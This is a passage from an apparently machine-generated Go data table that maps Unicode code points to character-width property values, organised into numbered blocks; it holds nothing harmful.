0x41a: 0x4000, 0x41b: 0x4000, 0x41c: 0x4000, 0x41d: 0x4000,\n\t0x41e: 0x4000, 0x41f: 0x4000, 0x420: 0x4000, 0x421: 0x4000, 0x422: 0x4000, 0x423: 0x4000,\n\t0x424: 0x4000, 0x425: 0x4000, 0x426: 0x4000, 0x427: 0x4000, 0x428: 0x4000, 0x429: 0x4000,\n\t0x42a: 0x4000, 0x42b: 0x4000, 0x42c: 0x4000, 0x42d: 0x4000, 0x42e: 0x4000, 0x42f: 0x4000,\n\t0x430: 0x4000, 0x431: 0x4000, 0x432: 0x4000, 0x433: 0x4000, 0x434: 0x4000, 0x435: 0x4000,\n\t0x436: 0x4000, 0x437: 0x4000, 0x438: 0x4000, 0x439: 0x4000, 0x43a: 0x4000, 0x43b: 0x4000,\n\t0x43c: 0x4000, 0x43d: 0x4000, 0x43e: 0x4000, 0x43f: 0x4000,\n\t// Block 0x11, offset 0x440\n\t0x440: 0x4000, 0x441: 0x4000, 0x442: 0x4000, 0x443: 0x4000, 0x444: 0x4000, 0x445: 0x4000,\n\t0x446: 0x4000, 0x447: 0x4000, 0x448: 0x4000, 0x449: 0x4000, 0x44a: 0x4000, 0x44b: 0x4000,\n\t0x44c: 0x4000, 0x44d: 0x4000, 0x44e: 0x4000, 0x44f: 0x4000, 0x450: 0x4000, 0x451: 0x4000,\n\t0x452: 0x4000, 0x453: 0x4000, 0x454: 0x4000, 0x455: 0x4000, 0x456: 0x4000, 0x457: 0x4000,\n\t0x458: 0x4000, 0x459: 0x4000, 0x45a: 0x4000, 0x45b: 0x4000, 0x45c: 0x4000, 0x45d: 0x4000,\n\t0x45e: 0x4000, 0x45f: 0x4000,\n\t// Block 0x12, offset 0x480\n\t0x490: 0x2000,\n\t0x493: 0x2000, 0x494: 0x2000, 0x495: 0x2000, 0x496: 0x2000,\n\t0x498: 0x2000, 0x499: 0x2000, 0x49c: 0x2000, 0x49d: 0x2000,\n\t0x4a0: 0x2000, 0x4a1: 0x2000, 0x4a2: 0x2000,\n\t0x4a4: 0x2000, 0x4a5: 0x2000, 0x4a6: 0x2000, 0x4a7: 0x2000,\n\t0x4b0: 0x2000, 0x4b2: 0x2000, 0x4b3: 0x2000, 0x4b5: 0x2000,\n\t0x4bb: 0x2000,\n\t0x4be: 0x2000,\n\t// Block 0x13, offset 0x4c0\n\t0x4f4: 0x2000,\n\t0x4ff: 0x2000,\n\t// Block 0x14, offset 0x500\n\t0x501: 0x2000, 0x502: 0x2000, 0x503: 0x2000, 0x504: 0x2000,\n\t0x529: 0xa009,\n\t0x52c: 0x2000,\n\t// Block 0x15, offset 0x540\n\t0x543: 0x2000, 0x545: 0x2000,\n\t0x549: 0x2000,\n\t0x553: 0x2000, 0x556: 0x2000,\n\t0x561: 0x2000, 0x562: 0x2000,\n\t0x566: 0x2000,\n\t0x56b: 0x2000,\n\t// Block 0x16, offset 0x580\n\t0x593: 0x2000, 0x594: 0x2000,\n\t0x59b: 0x2000, 0x59c: 0x2000, 0x59d: 0x2000,\n\t0x59e: 0x2000, 0x5a0: 0x2000, 0x5a1: 0x2000, 0x5a2: 0x2000, 0x5a3: 0x2000,\n\t0x5a4: 0x2000, 0x5a5: 0x2000, 0x5a6: 0x2000, 0x5a7: 0x2000, 0x5a8: 0x2000, 0x5a9: 0x2000,\n\t0x5aa: 0x2000, 0x5ab: 0x2000,\n\t0x5b0: 0x2000, 0x5b1: 0x2000, 0x5b2: 0x2000, 0x5b3: 0x2000, 0x5b4: 0x2000, 0x5b5: 0x2000,\n\t0x5b6: 0x2000, 0x5b7: 0x2000, 0x5b8: 0x2000, 0x5b9: 0x2000,\n\t// Block 0x17, offset 0x5c0\n\t0x5c9: 0x2000,\n\t0x5d0: 0x200a, 0x5d1: 0x200b,\n\t0x5d2: 0x200a, 0x5d3: 0x200c, 0x5d4: 0x2000, 0x5d5: 0x2000, 0x5d6: 0x2000, 0x5d7: 0x2000,\n\t0x5d8: 0x2000, 0x5d9: 0x2000,\n\t0x5f8: 0x2000, 0x5f9: 0x2000,\n\t// Block 0x18, offset 0x600\n\t0x612: 0x2000, 0x614: 0x2000,\n\t0x627: 0x2000,\n\t// Block 0x19, offset 0x640\n\t0x640: 0x2000, 0x642: 0x2000, 0x643: 0x2000,\n\t0x647: 0x2000, 0x648: 0x2000, 0x64b: 0x2000,\n\t0x64f: 0x2000, 0x651: 0x2000,\n\t0x655: 0x2000,\n\t0x65a: 0x2000, 0x65d: 0x2000,\n\t0x65e: 0x2000, 0x65f: 0x2000, 0x660: 0x2000, 0x663: 0x2000,\n\t0x665: 0x2000, 0x667: 0x2000, 0x668: 0x2000, 0x669: 0x2000,\n\t0x66a: 0x2000, 0x66b: 0x2000, 0x66c: 0x2000, 0x66e: 0x2000,\n\t0x674: 0x2000, 0x675: 0x2000,\n\t0x676: 0x2000, 0x677: 0x2000,\n\t0x67c: 0x2000, 0x67d: 0x2000,\n\t// Block 0x1a, offset 0x680\n\t0x688: 0x2000,\n\t0x68c: 0x2000,\n\t0x692: 0x2000,\n\t0x6a0: 0x2000, 0x6a1: 0x2000,\n\t0x6a4: 0x2000, 0x6a5: 0x2000, 0x6a6: 0x2000, 0x6a7: 0x2000,\n\t0x6aa: 0x2000, 0x6ab: 0x2000, 0x6ae: 0x2000, 0x6af: 0x2000,\n\t// Block 0x1b, offset 0x6c0\n\t0x6c2: 0x2000, 0x6c3: 0x2000,\n\t0x6c6: 0x2000, 0x6c7: 0x2000,\n\t0x6d5: 0x2000,\n\t0x6d9: 0x2000,\n\t0x6e5: 0x2000,\n\t0x6ff: 0x2000,\n\t// Block 0x1c, offset 0x700\n\t0x712: 0x2000,\n\t0x71a: 0x4000, 0x71b: 0x4000,\n\t0x729: 0x4000,\n\t0x72a: 0x4000,\n\t// Block 0x1d, offset 0x740\n\t0x769: 0x4000,\n\t0x76a: 0x4000, 0x76b: 0x4000, 0x76c: 0x4000,\n\t0x770: 0x4000, 0x773: 0x4000,\n\t// Block 0x1e, offset 0x780\n\t0x7a0: 0x2000, 0x7a1: 0x2000, 0x7a2: 0x2000, 0x7a3: 0x2000,\n\t0x7a4: 0x2000, 0x7a5: 0x2000, 0x7a6: 0x2000, 0x7a7: 0x2000, 0x7a8: 0x2000, 0x7a9: 0x2000,\n\t0x7aa: 0x2000, 0x7ab: 0x2000, 0x7ac: 0x2000, 0x7ad: 0x2000, 0x7ae: 0x2000, 0x7af: 0x2000,\n\t0x7b0: 0x2000, 0x7b1: 0x2000, 0x7b2: 0x2000, 0x7b3: 0x2000, 0x7b4: 0x2000, 0x7b5: 0x2000,\n\t0x7b6: 0x2000, 0x7b7: 0x2000, 0x7b8: 0x2000, 0x7b9: 0x2000, 0x7ba: 0x2000, 0x7bb: 0x2000,\n\t0x7bc: 0x2000, 0x7bd: 0x2000, 0x7be: 0x2000, 0x7bf: 0x2000,\n\t// Block 0x1f, offset 0x7c0\n\t0x7c0: 0x2000, 0x7c1: 0x2000, 0x7c2: 0x2000, 0x7c3: 0x2000, 0x7c4: 0x2000, 0x7c5: 0x2000,\n\t0x7c6: 0x2000, 0x7c7: 0x2000, 0x7c8: 0x2000, 0x7c9: 0x2000, 0x7ca: 0x2000, 0x7cb: 0x2000,\n\t0x7cc: 0x2000, 0x7cd: 0x2000, 0x7ce: 0x2000, 0x7cf: 0x2000, 0x7d0: 0x2000, 0x7d1: 0x2000,\n\t0x7d2: 0x2000, 0x7d3: 0x2000, 0x7d4: 0x2000, 0x7d5: 0x2000, 0x7d6: 0x2000, 0x7d7: 0x2000,\n\t0x7d8: 0x2000, 0x7d9: 0x2000, 0x7da: 0x2000, 0x7db: 0x2000, 0x7dc: 0x2000, 0x7dd: 0x2000,\n\t0x7de: 0x2000, 0x7df: 0x2000, 0x7e0: 0x2000, 0x7e1: 0x2000, 0x7e2: 0x2000, 0x7e3: 0x2000,\n\t0x7e4: 0x2000, 0x7e5: 0x2000, 0x7e6: 0x2000, 0x7e7: 0x2000, 0x7e8: 0x2000, 0x7e9: 0x2000,\n\t0x7eb: 0x2000, 0x7ec: 0x2000, 0x7ed: 0x2000, 0x7ee: 0x2000, 0x7ef: 0x2000,\n\t0x7f0: 0x2000, 0x7f1: 0x2000, 0x7f2: 0x2000, 0x7f3: 0x2000, 0x7f4: 0x2000, 0x7f5: 0x2000,\n\t0x7f6: 0x2000, 0x7f7: 0x2000, 0x7f8: 0x2000, 0x7f9: 0x2000, 0x7fa: 0x2000, 0x7fb: 0x2000,\n\t0x7fc: 0x2000, 0x7fd: 0x2000, 0x7fe: 0x2000, 0x7ff: 0x2000,\n\t// Block 0x20, offset 0x800\n\t0x800: 0x2000, 0x801: 0x2000, 0x802: 0x200d, 0x803: 0x2000, 0x804: 0x2000, 0x805: 0x2000,\n\t0x806: 0x2000, 0x807: 0x2000, 0x808: 0x2000, 0x809: 0x2000, 0x80a: 0x2000, 0x80b: 0x2000,\n\t0x80c: 0x2000, 0x80d: 0x2000, 0x80e: 0x2000, 0x80f: 0x2000, 0x810: 0x2000, 0x811: 0x2000,\n\t0x812: 0x2000, 0x813: 0x2000, 0x814: 0x2000, 0x815: 0x2000, 0x816: 0x2000, 0x817: 0x2000,\n\t0x818: 0x2000, 0x819: 0x2000, 0x81a: 0x2000, 0x81b: 0x2000, 0x81c: 0x2000, 0x81d: 0x2000,\n\t0x81e: 0x2000, 0x81f: 0x2000, 0x820: 0x2000, 0x821: 0x2000, 0x822: 0x2000, 0x823: 0x2000,\n\t0x824: 0x2000, 0x825: 0x2000, 0x826: 0x2000, 0x827: 0x2000, 0x828: 0x2000, 0x829: 0x2000,\n\t0x82a: 0x2000, 0x82b: 0x2000, 0x82c: 0x2000, 0x82d: 0x2000, 0x82e: 0x2000, 0x82f: 0x2000,\n\t0x830: 0x2000, 0x831: 0x2000, 0x832: 0x2000, 0x833: 0x2000, 0x834: 0x2000, 0x835: 0x2000,\n\t0x836: 0x2000, 0x837: 0x2000, 0x838: 0x2000, 0x839: 0x2000, 0x83a: 0x2000, 0x83b: 0x2000,\n\t0x83c: 0x2000, 0x83d: 0x2000, 0x83e: 0x2000, 0x83f: 0x2000,\n\t// Block 0x21, offset 0x840\n\t0x840: 0x2000, 0x841: 0x2000, 0x842: 0x2000, 0x843: 0x2000, 0x844: 0x2000, 0x845: 0x2000,\n\t0x846: 0x2000, 0x847: 0x2000, 0x848: 0x2000, 0x849: 0x2000, 0x84a: 0x2000, 0x84b: 0x2000,\n\t0x850: 0x2000, 0x851: 0x2000,\n\t0x852: 0x2000, 0x853: 0x2000, 0x854: 0x2000, 0x855: 0x2000, 0x856: 0x2000, 0x857: 0x2000,\n\t0x858: 0x2000, 0x859: 0x2000, 0x85a: 0x2000, 0x85b: 0x2000, 0x85c: 0x2000, 0x85d: 0x2000,\n\t0x85e: 0x2000, 0x85f: 0x2000, 0x860: 0x2000, 0x861: 0x2000, 0x862: 0x2000, 0x863: 0x2000,\n\t0x864: 0x2000, 0x865: 0x2000, 0x866: 0x2000, 0x867: 0x2000, 0x868: 0x2000, 0x869: 0x2000,\n\t0x86a: 0x2000, 0x86b: 0x2000, 0x86c: 0x2000, 0x86d: 0x2000, 0x86e: 0x2000, 0x86f: 0x2000,\n\t0x870: 0x2000, 0x871: 0x2000, 0x872: 0x2000, 0x873: 0x2000,\n\t// Block 0x22, offset 0x880\n\t0x880: 0x2000, 0x881: 0x2000, 0x882: 0x2000, 0x883: 0x2000, 0x884: 0x2000, 0x885: 0x2000,\n\t0x886: 0x2000, 0x887: 0x2000, 0x888: 0x2000, 0x889: 0x2000, 0x88a: 0x2000, 0x88b: 0x2000,\n\t0x88c: 0x2000, 0x88d: 0x2000, 0x88e: 0x2000, 0x88f: 0x2000,\n\t0x892: 0x2000, 0x893: 0x2000, 0x894: 0x2000, 0x895: 0x2000,\n\t0x8a0: 0x200e, 0x8a1: 0x2000, 0x8a3: 0x2000,\n\t0x8a4: 0x2000, 0x8a5: 0x2000, 0x8a6: 0x2000, 0x8a7: 0x2000, 0x8a8: 0x2000, 0x8a9: 0x2000,\n\t0x8b2: 0x2000, 0x8b3: 0x2000,\n\t0x8b6: 0x2000, 0x8b7: 0x2000,\n\t0x8bc: 0x2000, 0x8bd: 0x2000,\n\t// Block 0x23, offset 0x8c0\n\t0x8c0: 0x2000, 0x8c1: 0x2000,\n\t0x8c6: 0x2000, 0x8c7: 0x2000, 0x8c8: 0x2000, 0x8cb: 0x200f,\n\t0x8ce: 0x2000, 0x8cf: 0x2000, 0x8d0: 0x2000, 0x8d1: 0x2000,\n\t0x8e2: 0x2000, 0x8e3: 0x2000,\n\t0x8e4: 0x2000, 0x8e5: 0x2000,\n\t0x8ef: 0x2000,\n\t0x8fd: 0x4000, 0x8fe: 0x4000,\n\t// Block 0x24, offset 0x900\n\t0x905: 0x2000,\n\t0x906: 0x2000, 0x909: 0x2000,\n\t0x90e: 0x2000, 0x90f: 0x2000,\n\t0x914: 0x4000, 0x915: 0x4000,\n\t0x91c: 0x2000,\n\t0x91e: 0x2000,\n\t// Block 0x25, offset 0x940\n\t0x940: 0x2000, 0x942: 0x2000,\n\t0x948: 0x4000, 0x949: 0x4000, 0x94a: 0x4000, 0x94b: 0x4000,\n\t0x94c: 0x4000, 0x94d: 0x4000, 0x94e: 0x4000, 0x94f: 0x4000, 0x950: 0x4000, 0x951: 0x4000,\n\t0x952: 0x4000, 0x953: 0x4000,\n\t0x960: 0x2000, 0x961: 0x2000, 0x963: 0x2000,\n\t0x964: 0x2000, 0x965: 0x2000, 0x967: 0x2000, 0x968: 0x2000, 0x969: 0x2000,\n\t0x96a: 0x2000, 0x96c: 0x2000, 0x96d: 0x2000, 0x96f: 0x2000,\n\t0x97f: 0x4000,\n\t// Block 0x26, offset 0x980\n\t0x993: 0x4000,\n\t0x99e: 0x2000, 0x99f: 0x2000, 0x9a1: 0x4000,\n\t0x9aa: 0x4000, 0x9ab: 0x4000,\n\t0x9bd: 0x4000, 0x9be: 0x4000, 0x9bf: 0x2000,\n\t// Block 0x27, offset 0x9c0\n\t0x9c4: 0x4000, 0x9c5: 0x4000,\n\t0x9c6: 0x2000, 0x9c7: 0x2000, 0x9c8: 0x2000, 0x9c9: 0x2000, 0x9ca: 0x2000, 0x9cb: 0x2000,\n\t0x9cc: 0x2000, 0x9cd: 0x2000, 0x9ce: 0x4000, 0x9cf: 0x2000, 0x9d0: 0x2000, 0x9d1: 0x2000,\n\t0x9d2: 0x2000, 0x9d3: 0x2000, 0x9d4: 0x4000, 0x9d5: 0x2000, 0x9d6: 0x2000, 0x9d7: 0x2000,\n\t0x9d8: 0x2000, 0x9d9: 0x2000, 0x9da: 0x2000, 0x9db: 0x2000, 0x9dc: 0x2000, 0x9dd: 0x2000,\n\t0x9de: 0x2000, 0x9df: 0x2000, 0x9e0: 0x2000, 0x9e1: 0x2000, 0x9e3: 0x2000,\n\t0x9e8: 0x2000, 0x9e9: 0x2000,\n\t0x9ea: 0x4000, 0x9eb: 0x2000, 0x9ec: 0x2000, 0x9ed: 0x2000, 0x9ee: 0x2000, 0x9ef: 0x2000,\n\t0x9f0: 0x2000, 0x9f1: 0x2000, 0x9f2: 0x4000, 0x9f3: 0x4000, 0x9f4: 0x2000, 0x9f5: 0x4000,\n\t0x9f6: 0x2000, 0x9f7: 0x2000, 0x9f8: 0x2000, 0x9f9: 0x2000, 0x9fa: 0x4000, 0x9fb: 0x2000,\n\t0x9fc: 0x2000, 0x9fd: 0x4000, 0x9fe: 0x2000, 0x9ff: 0x2000,\n\t// Block 0x28, offset 0xa00\n\t0xa05: 0x4000,\n\t0xa0a: 0x4000, 0xa0b: 0x4000,\n\t0xa28: 0x4000,\n\t0xa3d: 0x2000,\n\t// Block 0x29, offset 0xa40\n\t0xa4c: 0x4000, 0xa4e: 0x4000,\n\t0xa53: 0x4000, 0xa54: 0x4000, 0xa55: 0x4000, 0xa57: 0x4000,\n\t0xa76: 0x2000, 0xa77: 0x2000, 0xa78: 0x2000, 0xa79: 0x2000, 0xa7a: 0x2000, 0xa7b: 0x2000,\n\t0xa7c: 0x2000, 0xa7d: 0x2000, 0xa7e: 0x2000, 0xa7f: 0x2000,\n\t// Block 0x2a, offset 0xa80\n\t0xa95: 0x4000, 0xa96: 0x4000, 0xa97: 0x4000,\n\t0xab0: 0x4000,\n\t0xabf: 0x4000,\n\t// Block 0x2b, offset 0xac0\n\t0xae6: 0x6000, 0xae7: 0x6000, 0xae8: 0x6000, 0xae9: 0x6000,\n\t0xaea: 0x6000, 0xaeb: 0x6000, 0xaec: 0x6000, 0xaed: 0x6000,\n\t// Block 0x2c, offset 0xb00\n\t0xb05: 0x6010,\n\t0xb06: 0x6011,\n\t// Block 0x2d, offset 0xb40\n\t0xb5b: 0x4000, 0xb5c: 0x4000,\n\t// Block 0x2e, offset 0xb80\n\t0xb90: 0x4000,\n\t0xb95: 0x4000, 0xb96: 0x2000, 0xb97: 0x2000,\n\t0xb98: 0x2000, 0xb99: 0x2000,\n\t// Block 0x2f, offset 0xbc0\n\t0xbc0: 0x4000, 0xbc1: 0x4000, 0xbc2: 0x4000, 0xbc3: 0x4000, 0xbc4: 0x4000, 0xbc5: 0x4000,\n\t0xbc6: 0x4000, 0xbc7: 0x4000, 0xbc8: 0x4000, 0xbc9: 0x4000, 0xbca: 0x4000, 0xbcb: 0x4000,\n\t0xbcc: 0x4000, 0xbcd: 0x4000, 0xbce: 0x4000, 0xbcf: 0x4000, 0xbd0: 0x4000, 0xbd1: 0x4000,\n\t0xbd2: 0x4000, 0xbd3: 0x4000, 0xbd4: 0x4000, 0xbd5: 0x4000, 0xbd6: 0x4000, 0xbd7: 0x4000,\n\t0xbd8: 0x4000, 0xbd9: 0x4000, 0xbdb: 0x4000, 0xbdc: 0x4000, 0xbdd: 0x4000,\n\t0xbde: 0x4000, 0xbdf: 0x4000, 0xbe0: 0x4000, 0xbe1: 0x4000, 0xbe2: 0x4000, 0xbe3: 0x4000,\n\t0xbe4: 0x4000, 0xbe5: 0x4000, 0xbe6: 0x4000, 0xbe7: 0x4000, 0xbe8: 0x4000, 0xbe9: 0x4000,\n\t0xbea: 0x4000, 0xbeb: 0x4000, 0xbec: 0x4000, 0xbed: 0x4000, 0xbee: 0x4000, 0xbef: 0x4000,\n\t0xbf0: 0x4000, 0xbf1: 0x4000, 0xbf2: 0x4000, 0xbf3: 0x4000, 0xbf4: 0x4000, 0xbf5: 0x4000,\n\t0xbf6: 0x4000, 0xbf7: 0x4000, 0xbf8: 0x4000, 0xbf9: 0x4000, 0xbfa: 0x4000, 0xbfb: 0x4000,\n\t0xbfc: 0x4000, 0xbfd: 0x4000, 0xbfe: 0x4000, 0xbff: 0x4000,\n\t// Block 0x30, offset 0xc00\n\t0xc00: 0x4000, 0xc01: 0x4000, 0xc02: 0x4000, 0xc03: 0x4000, 0xc04: 0x4000, 0xc05: 0x4000,\n\t0xc06: 0x4000, 0xc07: 0x4000, 0xc08: 0x4000, 0xc09: 0x4000, 0xc0a: 0x4000, 0xc0b: 0x4000,\n\t0xc0c: 0x4000, 0xc0d: 0x4000, 0xc0e: 0x4000, 0xc0f: 0x4000, 0xc10: 0x4000, 0xc11: 0x4000,\n\t0xc12: 0x4000, 0xc13: 0x4000, 0xc14: 0x4000, 0xc15: 0x4000, 0xc16: 0x4000, 0xc17: 0x4000,\n\t0xc18: 0x4000, 0xc19: 0x4000, 0xc1a: 0x4000, 0xc1b: 0x4000, 0xc1c: 0x4000, 0xc1d: 0x4000,\n\t0xc1e: 0x4000, 0xc1f: 0x4000, 0xc20: 0x4000, 0xc21: 0x4000, 0xc22: 0x4000, 0xc23: 0x4000,\n\t0xc24: 0x4000, 0xc25: 0x4000, 0xc26: 0x4000, 0xc27: 0x4000, 0xc28: 0x4000, 0xc29: 0x4000,\n\t0xc2a: 0x4000, 0xc2b: 0x4000, 0xc2c: 0x4000, 0xc2d: 0x4000, 0xc2e: 0x4000, 0xc2f: 0x4000,\n\t0xc30: 0x4000, 0xc31: 0x4000, 0xc32: 0x4000, 0xc33: 0x4000,\n\t// Block 0x31, offset 0xc40\n\t0xc40: 0x4000, 0xc41: 0x4000, 0xc42: 0x4000, 0xc43: 0x4000, 0xc44: 0x4000, 0xc45: 0x4000,\n\t0xc46: 0x4000, 0xc47: 0x4000, 0xc48: 0x4000, 0xc49: 0x4000, 0xc4a: 0x4000, 0xc4b: 0x4000,\n\t0xc4c: 0x4000, 0xc4d: 0x4000, 0xc4e: 0x4000, 0xc4f: 0x4000, 0xc50: 0x4000, 0xc51: 0x4000,\n\t0xc52: 0x4000, 0xc53: 0x4000, 0xc54: 0x4000, 0xc55: 0x4000,\n\t0xc70: 0x4000, 0xc71: 0x4000, 0xc72: 0x4000, 0xc73: 0x4000, 0xc74: 0x4000, 0xc75: 0x4000,\n\t0xc76: 0x4000, 0xc77: 0x4000, 0xc78: 0x4000, 0xc79: 0x4000, 0xc7a: 0x4000, 0xc7b: 0x4000,\n\t// Block 0x32, offset 0xc80\n\t0xc80: 0x9012, 0xc81: 0x4013, 0xc82: 0x4014, 0xc83: 0x4000, 0xc84: 0x4000, 0xc85: 0x4000,\n\t0xc86: 0x4000, 0xc87: 0x4000, 0xc88: 0x4000, 0xc89: 0x4000, 0xc8a: 0x4000, 0xc8b: 0x4000,\n\t0xc8c: 0x4015, 0xc8d: 0x4015, 0xc8e: 0x4000, 0xc8f: 0x4000, 0xc90: 0x4000, 0xc91: 0x4000,\n\t0xc92: 0x4000, 0xc93: 0x4000, 0xc94: 0x4000, 0xc95: 0x4000, 0xc96: 0x4000, 0xc97: 0x4000,\n\t0xc98: 0x4000, 0xc99: 0x4000, 0xc9a: 0x4000, 0xc9b: 0x4000, 0xc9c: 0x4000, 0xc9d: 0x4000,\n\t0xc9e: 0x4000, 0xc9f: 0x4000, 0xca0: 0x4000, 0xca1: 0x4000, 0xca2: 0x4000, 0xca3: 0x4000,\n\t0xca4: 0x4000, 0xca5: 0x4000, 0xca6: 0x4000, 0xca7: 0x4000, 0xca8: 0x4000, 0xca9: 0x4000,\n\t0xcaa: 0x4000, 0xcab: 0x4000, 0xcac: 0x4000, 0xcad: 0x4000, 0xcae: 0x4000, 0xcaf: 0x4000,\n\t0xcb0: 0x4000, 0xcb1: 0x4000, 0xcb2: 0x4000, 0xcb3: 0x4000, 0xcb4: 0x4000, 0xcb5: 0x4000,\n\t0xcb6: 0x4000, 0xcb7: 0x4000, 0xcb8: 0x4000, 0xcb9: 0x4000, 0xcba: 0x4000, 0xcbb: 0x4000,\n\t0xcbc: 0x4000, 0xcbd: 0x4000, 0xcbe: 0x4000,\n\t// Block 0x33, offset 0xcc0\n\t0xcc1: 0x4000, 0xcc2: 0x4000, 0xcc3: 0x4000, 0xcc4: 0x4000, 0xcc5: 0x4000,\n\t0xcc6: 0x4000, 0xcc7: 0x4000, 0xcc8: 0x4000, 0xcc9: 0x4000, 0xcca: 0x4000, 0xccb: 0x4000,\n\t0xccc: 0x4000, 0xccd: 0x4000, 0xcce: 0x4000, 0xccf: 0x4000, 0xcd0: 0x4000, 0xcd1: 0x4000,\n\t0xcd2: 0x4000, 0xcd3: 0x4000, 0xcd4: 0x4000, 0xcd5: 0x4000, 0xcd6: 0x4000, 0xcd7: 0x4000,\n\t0xcd8: 0x4000, 0xcd9: 0x4000, 0xcda: 0x4000, 0xcdb: 0x4000, 0xcdc: 0x4000, 0xcdd: 0x4000,\n\t0xcde: 0x4000, 0xcdf: 0x4000, 0xce0: 0x4000, 0xce1: 0x4000, 0xce2: 0x4000, 0xce3: 0x4000,\n\t0xce4: 0x4000, 0xce5: 0x4000, 0xce6: 0x4000, 0xce7: 0x4000, 0xce8: 0x4000, 0xce9: 0x4000,\n\t0xcea: 0x4000, 0xceb: 0x4000, 0xcec: 0x4000, 0xced: 0x4000, 0xcee: 0x4000, 0xcef: 0x4000,\n\t0xcf0: 0x4000, 0xcf1: 0x4000, 0xcf2: 0x4000, 0xcf3: 0x4000, 0xcf4: 0x4000, 0xcf5: 0x4000,\n\t0xcf6: 0x4000, 0xcf7: 0x4000, 0xcf8: 0x4000, 0xcf9: 0x4000, 0xcfa: 0x4000, 0xcfb: 0x4000,\n\t0xcfc: 0x4000, 0xcfd: 0x4000, 0xcfe: 0x4000, 0xcff: 0x4000,\n\t// Block 0x34, offset 0xd00\n\t0xd00: 0x4000, 0xd01: 0x4000, 0xd02: 0x4000, 0xd03: 0x4000, 0xd04: 0x4000, 0xd05: 0x4000,\n\t0xd06: 0x4000, 0xd07: 0x4000, 0xd08: 0x4000, 0xd09: 0x4000, 0xd0a: 0x4000, 0xd0b: 0x4000,\n\t0xd0c: 0x4000, 0xd0d: 0x4000, 0xd0e: 0x4000, 0xd0f: 0x4000, 0xd10: 0x4000, 0xd11: 0x4000,\n\t0xd12: 0x4000, 0xd13: 0x4000, 0xd14: 0x4000, 0xd15: 0x4000, 0xd16: 0x4000,\n\t0xd19: 0x4016, 0xd1a: 0x4017, 0xd1b: 0x4000, 0xd1c: 0x4000, 0xd1d: 0x4000,\n\t0xd1e: 0x4000, 0xd1f: 0x4000, 0xd20: 0x4000, 0xd21: 0x4018, 0xd22: 0x4019, 0xd23: 0x401a,\n\t0xd24: 0x401b, 0xd25: 0x401c, 0xd26: 0x401d, 0xd27: 0x401e, 0xd28: 0x401f, 0xd29: 0x4020,\n\t0xd2a: 0x4021, 0xd2b: 0x4022, 0xd2c: 0x4000, 0xd2d: 0x4010, 0xd2e: 0x4000, 0xd2f: 0x4023,\n\t0xd30: 0x4000, 0xd31: 0x4024, 0xd32: 0x4000, 0xd33: 0x4025, 0xd34: 0x4000, 0xd35: 0x4026,\n\t0xd36: 0x4000, 0xd37: 0x401a, 0xd38: 0x4000, 0xd39: 0x4027, 0xd3a: 0x4000, 0xd3b: 0x4028,\n\t0xd3c: 0x4000, 0xd3d: 0x4020, 0xd3e: 0x4000, 0xd3f: 0x4029,\n\t// Block 0x35, offset 0xd40\n\t0xd40: 0x4000, 0xd41: 0x402a, 0xd42: 0x4000, 0xd43: 0x402b, 0xd44: 0x402c, 0xd45: 0x4000,\n\t0xd46: 0x4017, 0xd47: 0x4000, 0xd48: 0x402d, 0xd49: 0x4000, 0xd4a: 0x402e, 0xd4b: 0x402f,\n\t0xd4c: 0x4030, 0xd4d: 0x4017, 0xd4e: 0x4016, 0xd4f: 0x4017, 0xd50: 0x4000, 0xd51: 0x4000,\n\t0xd52: 0x4031, 0xd53: 0x4000, 0xd54: 0x4000, 0xd55: 0x4031, 0xd56: 0x4000, 0xd57: 0x4000,\n\t0xd58: 0x4032, 0xd59: 0x4000, 0xd5a: 0x4000, 0xd5b: 0x4032, 0xd5c: 0x4000, 0xd5d: 0x4000,\n\t0xd5e: 0x4033, 0xd5f: 0x402e, 0xd60: 0x4034, 0xd61: 0x4035, 0xd62: 0x4034, 0xd63: 0x4036,\n\t0xd64: 0x4037, 0xd65: 0x4024, 0xd66: 0x4035, 0xd67: 0x4025, 0xd68: 0x4038, 0xd69: 0x4038,\n\t0xd6a: 0x4039, 0xd6b: 0x4039, 0xd6c: 0x403a, 0xd6d: 0x403a, 0xd6e: 0x4000, 0xd6f: 0x4035,\n\t0xd70: 0x4000, 0xd71: 0x4000, 0xd72: 0x403b, 0xd73: 0x403c, 0xd74: 0x4000, 0xd75: 0x4000,\n\t0xd76: 0x4000, 0xd77: 0x4000, 0xd78: 0x4000, 0xd79: 0x4000, 0xd7a: 0x4000, 0xd7b: 0x403d,\n\t0xd7c: 0x401c, 0xd7d: 0x4000, 0xd7e: 0x4000, 0xd7f: 0x4000,\n\t// Block 0x36, offset 0xd80\n\t0xd85: 0x4000,\n\t0xd86: 0x4000, 0xd87: 0x4000, 0xd88: 0x4000, 0xd89: 0x4000, 0xd8a: 0x4000, 0xd8b: 0x4000,\n\t0xd8c: 0x4000, 0xd8d: 0x4000, 0xd8e: 0x4000, 0xd8f: 0x4000, 0xd90: 0x4000, 0xd91: 0x4000,\n\t0xd92: 0x4000, 0xd93: 0x4000, 0xd94: 0x4000, 0xd95: 0x4000, 0xd96: 0x4000, 0xd97: 0x4000,\n\t0xd98: 0x4000, 0xd99: 0x4000, 0xd9a: 0x4000, 0xd9b: 0x4000, 0xd9c: 0x4000, 0xd9d: 0x4000,\n\t0xd9e: 0x4000, 0xd9f: 0x4000, 0xda0: 0x4000, 0xda1: 0x4000, 0xda2: 0x4000, 0xda3: 0x4000,\n\t0xda4: 0x4000, 0xda5: 0x4000, 0xda6: 0x4000, 0xda7: 0x4000, 0xda8: 0x4000, 0xda9: 0x4000,\n\t0xdaa: 0x4000, 0xdab: 0x4000, 0xdac: 0x4000, 0xdad: 0x4000,\n\t0xdb1: 0x403e, 0xdb2: 0x403e, 0xdb3: 0x403e, 0xdb4: 0x403e, 0xdb5: 0x403e,\n\t0xdb6: 0x403e, 0xdb7: 0x403e, 0xdb8: 0x403e, 0xdb9: 0x403e, 0xdba: 0x403e, 0xdbb: 0x403e,\n\t0xdbc: 0x403e, 0xdbd: 0x403e, 0xdbe: 0x403e, 0xdbf: 0x403e,\n\t// Block 0x37, offset 0xdc0\n\t0xdc0: 0x4037, 0xdc1: 0x4037, 0xdc2: 0x4037, 0xdc3: 0x4037, 0xdc4: 0x4037, 0xdc5: 0x4037,\n\t0xdc6: 0x4037, 0xdc7: 0x4037, 0xdc8: 0x4037, 0xdc9: 0x4037, 0xdca: 0x4037, 0xdcb: 0x4037,\n\t0xdcc: 0x4037, 0xdcd: 0x4037, 0xdce: 0x4037, 0xdcf: 0x400e, 0xdd0: 0x403f, 0xdd1: 0x4040,\n\t0xdd2: 0x4041, 0xdd3: 0x4040, 0xdd4: 0x403f, 0xdd5: 0x4042, 0xdd6: 0x4043, 0xdd7: 